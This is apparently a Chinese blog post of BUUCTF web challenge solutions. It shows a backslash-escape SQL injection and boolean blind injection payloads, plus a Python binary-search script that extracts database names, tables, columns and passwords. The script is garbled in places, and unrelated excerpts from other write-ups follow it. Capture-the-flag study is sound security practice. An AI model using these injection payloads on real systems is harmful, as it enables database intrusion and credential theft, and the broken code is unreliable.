BUUCTF web題解合集(六)

2021-10-09 03:16:08 字數 3421 閱讀 3171

沒想到sql注入還能要掃目錄。掃目錄能看到robots.txt,提示存在hint.txt,訪問告知了你sql查詢語句。

select * from users where username='$_post["username"]' and password='$_post["password"]';
很平常的查詢語句。但同時有什麼用呢,就得結合上面的測試,跑字典發現\沒被過濾。而它的作用就是轉義。

如果我們 username 傳入的是admin\那麼\可以把閉合username的單引號轉義,也就變成了username='admin\' and password='而我們傳入的password也就單獨成為了一部分,也就給了我們利用的機會。

or (ascii(substr(username,1,1))>1000)#

or (ascii(substr(password,1,1))>1000)#

結合起來的sql語句就是

select * from users where username='admin\' and password=' or ascii(substr(password,1,1))>0#';
這樣的話,因為前面username='admin\' and password='查詢不存在。執行or後面的來作返回值,從而構成布林盲注。

並且發現當為真時,回顯不同。

所以,可以編寫python指令碼來跑。借用網上師傅的二分法。

:# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #資料庫名字

# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名

# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='f1nai1y')),%d,1))>%d)^1"%(i,j) #列名

sql =

"1^(ord(substr((select(group_concat(password))from(f1nai1y)),%d,1))>%d)^1"

%(i,j)

data =

r = requests.get(url,params=data)

# print (r.url)

if"click"

in r.text:

res =

1else

: res =

0return res

defexp():

global flag

for i in

range(1

,10000):

print

(i,':'

) low =

31 high =

127while low <= high :

mid =

(low + high)//2

res = payload(i,mid)

if res :

low = mid +

1else

: high = mid -

1 f =

int(

(low + high +1)

)//2if

(f ==

127or f ==31)

:break

# print (f)

flag +=

chr(f)

print

(flag)

exp(

)print

('flag='

,flag)

然後本地加乙個php檔案上去。

BUUCTF web題解合集(二)

geturl methods get post 2def geturl 3 url request.args.get url 4 host parse.urlparse url hostname 5 解析url,賦值hostname 6if host suctf.cc 7 return 我扌 you...

BUUCTF web題解合集(四)

include flag.php echo flag在 呢?if isset get exp else else else highlight file file localeconv 函式返回一包含本地數字及貨幣格式資訊的陣列。scandir 列出 images 目錄中的檔案和目錄。readfil...

4月訓練題解合集

由於我太懶了,所以就不每題開一篇寫了。題目大意也懶得寫了。顯然最優策略是瞎走,在知道那條邊斷掉了之後才走最短路徑。先把以 t 為根的最短路樹求出來,然後可以用堆求出斷掉每條邊後端點到 t 的最短路徑。最後像 dijk 那樣 dp 一下就好了。直接線段樹 凸包優化 dp 可以輕鬆做到 o n log ...